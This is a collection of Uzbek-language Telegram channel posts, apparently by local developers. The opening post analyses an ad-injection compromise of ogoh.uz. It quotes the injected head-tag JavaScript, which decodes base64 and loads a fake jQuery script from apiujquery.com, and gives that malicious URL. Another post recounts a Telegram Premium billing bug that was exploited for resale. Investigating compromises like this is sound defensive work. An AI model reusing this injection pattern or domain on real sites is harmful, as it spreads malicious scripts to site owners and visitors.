Shohjahon dehqon desa suvi oqib ketadiganlar ko'p bilaman.

Ertalabdan yaqin o'rtog'im wordpress masalasida yuz gramlik ish bor, qarab berolmaysanmi deb qoldi. Xullas masala oddiy. Sayt egalari saytga hech qanday reklama joylamasada turli reklamalar saytda chiqib kelaveradi. Saytni ko'rsam ko'pchilik tanigan ogoh.uz ekan. Kamiga saytda o'zim uchun juda yaqin bo'lgan bir akam ham ishlaydilar.

Reklama qayerdan kelayotganini boshida ensam qotib qidirdim. Static scriptlar berilmagan, shablon esa toza. Initatorga qarasam cdnga o'xshash serverdan kelayotgan scriptdan yuklayapti. Scriptni o'zi esa dokumentda chiqmadi boshida.

Izlagan topar, keyin bilsam shablonda base64 encode orqali dynamic script yaratish qilingan ekan. Script source esa quyidagi manzildagi scriptni yuklayapti. Bingoooo.....

https://apiujquery.com/ajax/libs/jquery/3.5.1/
jquery-3.11.0.min.js?i=https://ogoh.uz/&r2=205975ae7893308b7d8173387d4db7b2

Bu jquery emas balkim fake script. Ya'ni ushbu script orqali kontekst reklamalar ishga tushiriladi xolos. Jquery esa wordpressda wp-includes orqali yuklanadi, alohida joydan emas. Qo'shimchasiga aytadigan bo'lsam men azartniy jquerychilardanman, bu framework masalasida kirmagan teshigim yo'q. Lekin apiujquery.com domeni men uchun begona bo'lib qolaverdi. Turli indekslarda ham bu domen haqida hech qanday ma'lumot yo'q. Domen o'zi esa rossiyadagi bir vdsga ulangan xolos. Dahshat 🤦‍♂️

Qaroqchilik madaniyati oshib, dasturchilik madaniyati chetda qolib ketgan. Quyidagi kod aynan o'sha dinamik scriptni yaratish uchun sahifaning head tegida ishlatilgan. Copy pastechi bunday kod sudrab yurmasa, eng past darajadagi lamer (qilayotganini tushunmaydigan odam) ham bunaqa kod yozmaydi. Qo'pol qilib aytganda hech qaysi debil dasturchi head tegida dinamik script yaratish uchun o'zgaruvchini img (image - rasm) deb nomlamaydi. Shunchaki stackoverflowdan ko'chirib bosilgan kod.

var img = document.createElement('script');
img.setAttribute('async','');
img.setAttribute('src', window.atob("hash") + 
window.location.href + window.atob("hash") + "hash");
document.head.appendChild(img);

Original shablon:

Sayt uchun ishlatilgan shablonning originalini aynan o'sha versiya bilan yuklab, kerakli faylni solishtirib ko'rdim. Yuqoridagi kod keyinchalik paydo bo'lgan (Bu tabiiy, wordpress uchun shablon yasab yurgan odam hech qachon o'zgaruvchini img deb nomlamaydi).

Kamiga bundan bir necha oy avvalroq Dehqon tomonidan kundalik.com sayti whois protokolida tekshirilib, kino qo'ygani, ko'pchilikni esidan chiqmadi hali 😑

@yetimdasturchi

Botni test qilyotgandim xD

@vodiylik va @yetimdasturchi ni tavsiyasiga binoan boshlavordik

Eplabo'mayabdi @vodiylik ni

Қандай қилиб 3 нафар мактаб болалари Дуровни «бузиб бўлмас» телеграмидан хато топиб Дуровни 3 млн $ га туширди?

Август ойи ўрталарида 3 нафар Москвалик мактаб боллари телеграм премиум жуда қимматлиги ва уни арзонроқ олиш мумкин бўлган йўлларини қидиришди, ва охир-оқибат
улар мутлақо бепул олиш мумкин бўлган баг(хато) ни топишди
Бу учун уларга эскироқ Iphone ва бир нечта App Store совға картаси керак бўлган ҳолос.
Тармоқларда ўзини Мартов деб атаган жамоа аъзоси тасодифан Iphone (Жаилбреак)дан премиумни совға қилиш тугмасини босган, ва бекор қилган. Тўлов ўтмаган лекин премиум расмийлаштирилган.
Мижоз излаш қийин бўлмаган,чунки 2 баробар арзон пайтида олганлар ўз дўстларига тавсия қилишни бошлаган, ва улар маркетингсиз кўтарилган.
Битта одамни ўзи бу схемадан кунига 200 000 рубль(3256$) фойда қилишган.
Болалар орасидан кимдир схемани пуллашга эришган.
Қароқчилар кўпайганидан Телеграмда ҳақиқий хаос бошланган, нархлар шу даражада қулаганки.
1 та премиумни 1 йилга 150 рублга олиш мумкин бўлган.
Хатолик мавжудлигидан хабар топган Телеграм бундай ботларга “SCAM” белгисини берган. Лекин ботлар шу кечагача премиум бера олган, телеграм дастурчилари айнан шу усул орқали олган барча аккаунтларни премиумини олиб қўйди.

@sharofsoliyev

@marshgolden nega mobilega responsive qilmadinglar?)

Savodxon loyihasini pullik bo'ganidan shikoyat qiladiganlar diqqatiga: Ularda ham xuddi men bilan bo'lgan voqeliklar yuzga kelgan.
Savodxon ham boshida ijtimoiy loyiha sifatida ish boshlagan.

Juda yaxshi loyiha edi...

Twitterни собиқ эгаси марказлаштирилмаган(блокчейнга асосланган) ижтимоий-тармоқ ташкил қилябди экан. Ҳўш эски эгаси шунда сўз эркинлигига эга тармоқ қилмоқчими?) Трапмни блоклагандан кейина ?)

@sharofsoliyev

Qanchadan qancha odamni uchrashtirgan,sevishtirgan va bir biridan ayirgan ICQ 26 yoshda

@sharofsoliyev

2022- yilning eng ommabop parollari

@sharofsoliyev

Topshiringlar

Umuman olganda gapi to'g'ri o'zbek dasturchilari bundan bekorga 10 000 so'ragan, undan ko'ra umuman ishlamasligi kerak edi.

IT ni bular faqatgina dasturchilar tashkil qiladi deb o'ylab shunaqa taklif bergandir balki, o'rtada eng kamida PM(Project manager) , PO(Product owener)lar turadi, balki bilishar, balki yo'q Umuman o'zbek biznesmenlarini IT product haqida tushunchalari bu yerda asosiy aybdor, ularga buni tushuntirishni o'zi eng katta ish ekanligini bilishmaydi.

Shunchaki biznesmen kelib menga dastur kerak deydi, Web saytmi ? -Ha, Web sayt Mobil dasturmi? -Ha mobil dastur. Nima so'rasangiz mujmal javob berishadi, TZ haqida umuman gapirmasayam bo'ladi.

IT haqida boshqattan o'qishlari kerak, yoki bizneslarini offlayn qilishlari kerak. Shu sababli o'zbek dasturchilari TZ siz ishlashga o'rganib qolishgan , bu huddi tabiiy holdek. Dasturchilar ham dastur qilishlari kerak, ham biznes uchun o'ylashlariyam kerak.

Alifboni bilmaydigan odamlarga, Dostoyevskiyning Jinoyat va Jazosi kitobini o'qitadigandek gap. Keyin biznesni dasturchilarni qanday tipga ajratishini o'zi katta masaladek masalan dasturchilar darajasini biznes tushunmasligi aniq 10 ta product qilib haliyam kichik levelda, bitta product qilib shuni o'zida katta darajada bo'lishi mumkin. Biznes esa nari borsa Dizayn va tez ishlashini tekshira oladi. Kod yozish stilistikasi, arxitektura, xullas qolgani qiziq emas. Ha bu biznesni ishi emas aslida.

Xullas tomonlar faqat pul haqida emas, boshqa narsalar haqidayam o'ylasa ham biznesmenlarga ham dasturchilarga yaxshi. Biznesmenlar qiynalib outsource qilib yurmaydi, dasturchilar esa qiynalib TZ yozib, biznes uchun o'ylab yurmaydi :)

Bizga daraja berishdan oldin shu masalarni ham o'ylab qo'yishganida ancha yaxshi bo'lardi.

@sharofsoliyev

Assalomu alaykum barchaga! 🇺🇿

Muxlisa ovozli yordamchisining boshlang’ich qadamlarida uning ikki imkoniyatini sinab ko’rishingiz mumkin.

Nutqni matnga o’girish va matnni nutqga o’girish funksiyalarini sinab ko’rishingiz uchun siz @muxlisa_ai_bot ga o’tishingiz va /start buyrug’ini bergach foydalanishni va o’z fikrlaringizni qoldirishni boshlashingiz mumkin. 🥳

Shundan so’ng matn yuborsangiz ovozli shaklini, agar o’z ovozingizni yozib yuborsangiz aniqlangan matnni sizga javob sifatida yuboradi. 😉

Har bir ovoz va aniqlangan matnga o’z reaksiyangizni bildirishingiz yoki kamchilik, takliflar haqida fikr qoldirishni bosib fikringizni qoldirishingiz mumkin. Takliflaringiz albatta hisobga olinadi.

Yangilikni yaqinlaringizga ham ulashing 🥳

Muxlisa ovozli yordamchi
@muxlisa_ai

Iya 96000 so'm/soat lik maosh qani Realsoft?)

Rasm linkedindan

@sharofsoliyev